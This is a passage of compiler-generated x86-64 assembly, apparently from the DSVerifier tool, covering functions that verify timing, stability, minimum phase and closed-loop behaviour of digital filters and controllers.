pxor xmm1, xmm1
cvtsi2sd xmm1, eax
movsd xmm0, QWORD PTR hw[rip+16]
mulsd xmm0, xmm1
movsd QWORD PTR -48[rbp], xmm0
movsd xmm0, QWORD PTR ds[rip+1616]
comisd xmm0, QWORD PTR -48[rbp]
jnb .L1157
lea rcx, __PRETTY_FUNCTION__.6[rip]
mov edx, 89
lea rsi, .LC78[rip]
lea rdi, .LC79[rip]
call __assert_fail@PLT
.L1157:
movsd xmm0, QWORD PTR -56[rbp]
cvttsd2si eax, xmm0
mov DWORD PTR generic_timer[rip], eax
add DWORD PTR -144[rbp], 1
.L1156:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -144[rbp], eax
jl .L1158
mov eax, 0
mov rsp, rbx
mov rsp, r12
mov rbx, QWORD PTR -40[rbp]
sub rbx, QWORD PTR fs:40
je .L1160
call __stack_chk_fail@PLT
.L1160:
lea rsp, -32[rbp]
pop rbx
pop r12
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE135:
.size verify_generic_timing, .-verify_generic_timing
.globl verify_timing_msp_430
.type verify_timing_msp_430, @function
verify_timing_msp_430:
.LFB136:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r12
push rbx
sub rsp, 176
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 12, -40
.cfi_offset 3, -48
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov r12, rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -104[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1164:
cmp rsp, rcx
je .L1165
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1164
.L1165:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1166
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1166:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -112[rbp], rax
mov edx, DWORD PTR X_SIZE_VALUE[rip]
movsx rax, edx
sub rax, 1
mov QWORD PTR -120[rbp], rax
movsx rax, edx
mov r8, rax
mov r9d, 0
movsx rax, edx
mov r10, rax
mov r11d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1167:
cmp rsp, rcx
je .L1168
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1167
.L1168:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1169
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1169:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -96[rbp], rax
mov DWORD PTR -128[rbp], 0
jmp .L1170
.L1175:
mov rdx, QWORD PTR -112[rbp]
mov eax, DWORD PTR -128[rbp]
cdqe
pxor xmm0, xmm0
movsd QWORD PTR [rdx+rax*8], xmm0
mov eax, 0
call nondet_float@PLT
cvtss2sd xmm0, xmm0
mov rdx, QWORD PTR -96[rbp]
mov eax, DWORD PTR -128[rbp]
cdqe
movsd QWORD PTR [rdx+rax*8], xmm0
mov rdx, QWORD PTR -96[rbp]
mov eax, DWORD PTR -128[rbp]
cdqe
movsd xmm0, QWORD PTR [rdx+rax*8]
movsd xmm1, QWORD PTR impl[rip+16]
comisd xmm0, xmm1
jb .L1171
mov rdx, QWORD PTR -96[rbp]
mov eax, DWORD PTR -128[rbp]
cdqe
movsd xmm1, QWORD PTR [rdx+rax*8]
movsd xmm0, QWORD PTR impl[rip+8]
comisd xmm0, xmm1
jb .L1171
mov eax, 1
jmp .L1174
.L1171:
mov eax, 0
.L1174:
and eax, 1
movzx eax, al
mov edi, eax
call __DSVERIFIER_assume
add DWORD PTR -128[rbp], 1
.L1170:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -128[rbp], eax
jl .L1175
mov DWORD PTR -124[rbp], 0
mov edx, DWORD PTR ds[rip+1608]
mov eax, DWORD PTR ds[rip+800]
cmp edx, eax
cmovge eax, edx
mov DWORD PTR -124[rbp], eax
mov edx, DWORD PTR ds[rip+800]
mov rax, rsp
mov rbx, rax
movsx rax, edx
sub rax, 1
mov QWORD PTR -88[rbp], rax
movsx rax, edx
mov QWORD PTR -144[rbp], rax
mov QWORD PTR -136[rbp], 0
movsx rax, edx
mov QWORD PTR -160[rbp], rax
mov QWORD PTR -152[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1176:
cmp rsp, rdx
je .L1177
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1176
.L1177:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1178
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1178:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov QWORD PTR -176[rbp], rdx
mov QWORD PTR -168[rbp], 0
movsx rdx, eax
mov QWORD PTR -192[rbp], rdx
mov QWORD PTR -184[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1179:
cmp rsp, rdx
je .L1180
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1179
.L1180:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1181
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1181:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov eax, DWORD PTR -124[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -56[rbp], rdx
movsx rdx, eax
mov QWORD PTR -208[rbp], rdx
mov QWORD PTR -200[rbp], 0
movsx rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1182:
cmp rsp, rdx
je .L1183
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1182
.L1183:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1184
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1184:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -48[rbp], rax
mov DWORD PTR -128[rbp], 0
jmp .L1185
.L1186:
mov rax, QWORD PTR -80[rbp]
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -128[rbp], 1
.L1185:
mov eax, DWORD PTR ds[rip+800]
cmp DWORD PTR -128[rbp], eax
jl .L1186
mov DWORD PTR -128[rbp], 0
jmp .L1187
.L1188:
mov rax, QWORD PTR -64[rbp]
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -128[rbp], 1
.L1187:
mov eax, DWORD PTR ds[rip+1608]
cmp DWORD PTR -128[rbp], eax
jl .L1188
mov DWORD PTR -128[rbp], 0
jmp .L1189
.L1190:
mov rax, QWORD PTR -48[rbp]
mov edx, DWORD PTR -128[rbp]
movsx rdx, edx
pxor xmm0, xmm0
movsd QWORD PTR [rax+rdx*8], xmm0
add DWORD PTR -128[rbp], 1
.L1189:
mov eax, DWORD PTR -128[rbp]
cmp eax, DWORD PTR -124[rbp]
jl .L1190
mov DWORD PTR -128[rbp], 0
jmp .L1191
.L1192:
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -96[rbp]
mov ecx, DWORD PTR -128[rbp]
movsx rcx, ecx
movsd xmm0, QWORD PTR [rax+rcx*8]
cvttsd2si rax, xmm0
mov rcx, QWORD PTR -64[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
mov ecx, DWORD PTR ds[rip+1608]
mov edx, DWORD PTR ds[rip+800]
mov rsi, QWORD PTR -64[rbp]
mov rax, QWORD PTR -80[rbp]
mov r9d, ecx
mov r8d, edx
lea rcx, ds[rip+808]
lea rdx, ds[rip]
mov rdi, rax
call double_direct_form_1_MSP430
movq rax, xmm0
mov rdx, QWORD PTR -112[rbp]
mov ecx, DWORD PTR -128[rbp]
movsx rcx, ecx
mov QWORD PTR [rdx+rcx*8], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -112[rbp]
mov ecx, DWORD PTR -128[rbp]
movsx rcx, ecx
movsd xmm0, QWORD PTR [rax+rcx*8]
cvttsd2si rax, xmm0
mov rcx, QWORD PTR -80[rbp]
mov rsi, rcx
mov rdi, rax
call shiftL
add DWORD PTR -128[rbp], 1
.L1191:
mov eax, DWORD PTR X_SIZE_VALUE[rip]
cmp DWORD PTR -128[rbp], eax
jl .L1192
mov eax, 0
mov rsp, rbx
mov rsp, r12
mov rbx, QWORD PTR -40[rbp]
sub rbx, QWORD PTR fs:40
je .L1194
call __stack_chk_fail@PLT
.L1194:
lea rsp, -32[rbp]
pop rbx
pop r12
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE136:
.size verify_timing_msp_430, .-verify_timing_msp_430
.section .rodata
.align 8
.LC80:
.string "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_stability.h"
.align 8
.LC81:
.string "check_stability(_a, ds.a_size)"
.text
.globl verify_stability
.type verify_stability, @function
verify_stability:
.LFB137:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 56
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov DWORD PTR overflow_mode[rip], 0
mov eax, DWORD PTR ds[rip+800]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov r8, rdx
mov r9d, 0
movsx rdx, eax
mov rsi, rdx
mov edi, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1198:
cmp rsp, rdx
je .L1199
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1198
.L1199:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1200
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1200:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -80[rbp]
mov rsi, rax
lea rdi, ds[rip]
call fxp_double_to_fxp_array
mov eax, DWORD PTR ds[rip+800]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1201:
cmp rsp, rdx
je .L1202
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1201
.L1202:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1203
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1203:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov edx, DWORD PTR ds[rip+800]
mov rcx, QWORD PTR -80[rbp]
mov rax, QWORD PTR -64[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov edx, DWORD PTR ds[rip+800]
mov rax, QWORD PTR -64[rbp]
mov esi, edx
mov rdi, rax
call check_stability
test eax, eax
jne .L1204
lea rcx, __PRETTY_FUNCTION__.5[rip]
mov edx, 37
lea rsi, .LC80[rip]
lea rdi, .LC81[rip]
call __assert_fail@PLT
.L1204:
mov eax, 0
mov rsp, rbx
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1206
call __stack_chk_fail@PLT
.L1206:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE137:
.size verify_stability, .-verify_stability
.globl verify_minimum_phase
.type verify_minimum_phase, @function
verify_minimum_phase:
.LFB138:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 56
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
mov DWORD PTR overflow_mode[rip], 0
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov r8, rdx
mov r9d, 0
movsx rdx, eax
mov rsi, rdx
mov edi, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1208:
cmp rsp, rdx
je .L1209
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1208
.L1209:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1210
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1210:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -80[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -80[rbp]
mov rsi, rax
lea rdi, ds[rip+808]
call fxp_double_to_fxp_array
mov eax, DWORD PTR ds[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1211:
cmp rsp, rdx
je .L1212
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1211
.L1212:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1213
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1213:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -64[rbp], rax
mov edx, DWORD PTR ds[rip+1608]
mov rcx, QWORD PTR -80[rbp]
mov rax, QWORD PTR -64[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov edx, DWORD PTR ds[rip+1608]
mov rax, QWORD PTR -64[rbp]
mov esi, edx
mov rdi, rax
call check_stability
test eax, eax
setne al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov eax, 0
mov rsp, rbx
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L1215
call __stack_chk_fail@PLT
.L1215:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE138:
.size verify_minimum_phase, .-verify_minimum_phase
.section .rodata
.align 8
.LC82:
.string "Verifying stability for closedloop function"
.text
.globl verify_stability_closedloop_using_dslib
.type verify_stability_closedloop_using_dslib, @function
verify_stability_closedloop_using_dslib:
.LFB139:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r12
push rbx
sub rsp, 1024
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 12, -40
.cfi_offset 3, -48
mov rax, QWORD PTR fs:40
mov QWORD PTR -40[rbp], rax
xor eax, eax
mov rax, rsp
mov r12, rax
lea rax, controller[rip+808]
mov QWORD PTR -912[rbp], rax
mov eax, DWORD PTR controller[rip+1608]
mov DWORD PTR -964[rbp], eax
lea rax, controller[rip]
mov QWORD PTR -920[rbp], rax
mov eax, DWORD PTR controller[rip+800]
mov DWORD PTR -968[rbp], eax
mov edx, DWORD PTR controller[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -928[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1217:
cmp rsp, rcx
je .L1218
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1217
.L1218:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1219
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1219:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -936[rbp], rax
mov eax, DWORD PTR controller[rip+1608]
mov rsi, QWORD PTR -936[rbp]
mov rcx, QWORD PTR -912[rbp]
mov edx, eax
mov rdi, rcx
call fxp_double_to_fxp_array
mov edx, DWORD PTR controller[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -944[rbp], rax
movsx rax, edx
mov QWORD PTR -992[rbp], rax
mov QWORD PTR -984[rbp], 0
movsx rax, edx
mov QWORD PTR -1008[rbp], rax
mov QWORD PTR -1000[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1220:
cmp rsp, rdx
je .L1221
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1220
.L1221:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1222
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1222:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -904[rbp], rax
mov edx, DWORD PTR controller[rip+800]
mov rcx, QWORD PTR -904[rbp]
mov rax, QWORD PTR -920[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_double_to_fxp_array
mov eax, DWORD PTR controller[rip+1608]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -896[rbp], rdx
movsx rdx, eax
mov QWORD PTR -1024[rbp], rdx
mov QWORD PTR -1016[rbp], 0
movsx rdx, eax
mov QWORD PTR -1040[rbp], rdx
mov QWORD PTR -1032[rbp], 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1223:
cmp rsp, rdx
je .L1224
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1223
.L1224:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1225
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1225:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -888[rbp], rax
mov edx, DWORD PTR controller[rip+1608]
mov rcx, QWORD PTR -936[rbp]
mov rax, QWORD PTR -888[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov eax, DWORD PTR controller[rip+800]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -880[rbp], rdx
movsx rdx, eax
mov QWORD PTR -1056[rbp], rdx
mov QWORD PTR -1048[rbp], 0
movsx rdx, eax
mov r14, rdx
mov r15d, 0
cdqe
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L1226:
cmp rsp, rdx
je .L1227
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1226
.L1227:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L1228
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1228:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -872[rbp], rax
mov edx, DWORD PTR controller[rip+800]
mov rcx, QWORD PTR -904[rbp]
mov rax, QWORD PTR -872[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
lea rax, plant[rip+808]
mov QWORD PTR -864[rbp], rax
mov eax, DWORD PTR plant[rip+1608]
mov DWORD PTR -960[rbp], eax
lea rax, plant[rip]
mov QWORD PTR -856[rbp], rax
mov eax, DWORD PTR plant[rip+800]
mov DWORD PTR -956[rbp], eax
mov edx, DWORD PTR controller[rip+1608]
mov eax, DWORD PTR plant[rip+1608]
add eax, edx
sub eax, 1
mov DWORD PTR -952[rbp], eax
mov edx, DWORD PTR controller[rip+800]
mov eax, DWORD PTR plant[rip+800]
add eax, edx
sub eax, 1
mov DWORD PTR -948[rbp], eax
lea rdi, .LC82[rip]
call puts@PLT
mov r8d, DWORD PTR -956[rbp]
mov rdi, QWORD PTR -856[rbp]
mov ecx, DWORD PTR -960[rbp]
mov rdx, QWORD PTR -864[rbp]
mov esi, DWORD PTR -948[rbp]
lea rax, -848[rbp]
mov r9d, r8d
mov r8, rdi
mov rdi, rax
call check_stability_closedloop
test eax, eax
setne al
movzx eax, al
mov edi, eax
call __DSVERIFIER_assert
mov eax, 0
mov rsp, r12
mov rbx, QWORD PTR -40[rbp]
sub rbx, QWORD PTR fs:40
je .L1230
call __stack_chk_fail@PLT
.L1230:
lea rsp, -32[rbp]
pop rbx
pop r12
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE139:
.size verify_stability_closedloop_using_dslib, .-verify_stability_closedloop_using_dslib
.globl verify_limit_cycle_closed_loop
.type verify_limit_cycle_closed_loop, @function
verify_limit_cycle_closed_loop:
.LFB140:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 2184
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov QWORD PTR -2136[rbp], rax
mov DWORD PTR overflow_mode[rip], 3
lea rax, controller[rip+808]
mov QWORD PTR -1800[rbp], rax
mov eax, DWORD PTR controller[rip+1608]
mov DWORD PTR -1908[rbp], eax
lea rax, controller[rip]
mov QWORD PTR -1808[rbp], rax
mov eax, DWORD PTR controller[rip+800]
mov DWORD PTR -1912[rbp], eax
mov edx, DWORD PTR controller[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1816[rbp], rax
movsx rax, edx
mov rcx, rax
mov ebx, 0
movsx rax, edx
mov rsi, rax
mov edi, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1232:
cmp rsp, rcx
je .L1233
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1232
.L1233:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1234
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1234:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1824[rbp], rax
mov edx, DWORD PTR controller[rip+1608]
mov rcx, QWORD PTR -1824[rbp]
mov rax, QWORD PTR -1800[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_double_to_fxp_array
mov edx, DWORD PTR controller[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1832[rbp], rax
movsx rax, edx
mov r12, rax
mov r13d, 0
movsx rax, edx
mov r14, rax
mov r15d, 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1235:
cmp rsp, rcx
je .L1236
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1235
.L1236:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1237
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1237:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1840[rbp], rax
mov edx, DWORD PTR controller[rip+800]
mov rcx, QWORD PTR -1840[rbp]
mov rax, QWORD PTR -1808[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_double_to_fxp_array
mov edx, DWORD PTR controller[rip+1608]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1848[rbp], rax
movsx rax, edx
mov QWORD PTR -1936[rbp], rax
mov QWORD PTR -1928[rbp], 0
movsx rax, edx
mov QWORD PTR -1952[rbp], rax
mov QWORD PTR -1944[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1238:
cmp rsp, rcx
je .L1239
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1238
.L1239:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1240
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L1240:
mov rax, rsp
add rax, 7
shr rax, 3
sal rax, 3
mov QWORD PTR -1856[rbp], rax
mov edx, DWORD PTR controller[rip+1608]
mov rcx, QWORD PTR -1824[rbp]
mov rax, QWORD PTR -1856[rbp]
mov rsi, rcx
mov rdi, rax
call fxp_to_double_array
mov edx, DWORD PTR controller[rip+800]
movsx rax, edx
sub rax, 1
mov QWORD PTR -1864[rbp], rax
movsx rax, edx
mov QWORD PTR -1968[rbp], rax
mov QWORD PTR -1960[rbp], 0
movsx rax, edx
mov QWORD PTR -1984[rbp], rax
mov QWORD PTR -1976[rbp], 0
movsx rax, edx
lea rdx, 0[0+rax*8]
mov eax, 16
sub rax, 1
add rax, rdx
mov ebx, 16
mov edx, 0
div rbx
imul rdx, rax, 16
mov rax, rdx
and rax, -4096
mov rcx, rsp
sub rcx, rax
.L1241:
cmp rsp, rcx
je .L1242
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L1241
.L1242:
mov rax, rdx
and eax, 4095
sub rsp, rax
mov rax, rdx
and eax, 4095
test rax, rax
je .L1243
mov rax, rdx
and eax, 4095
sub rax, 8
add rax, rsp
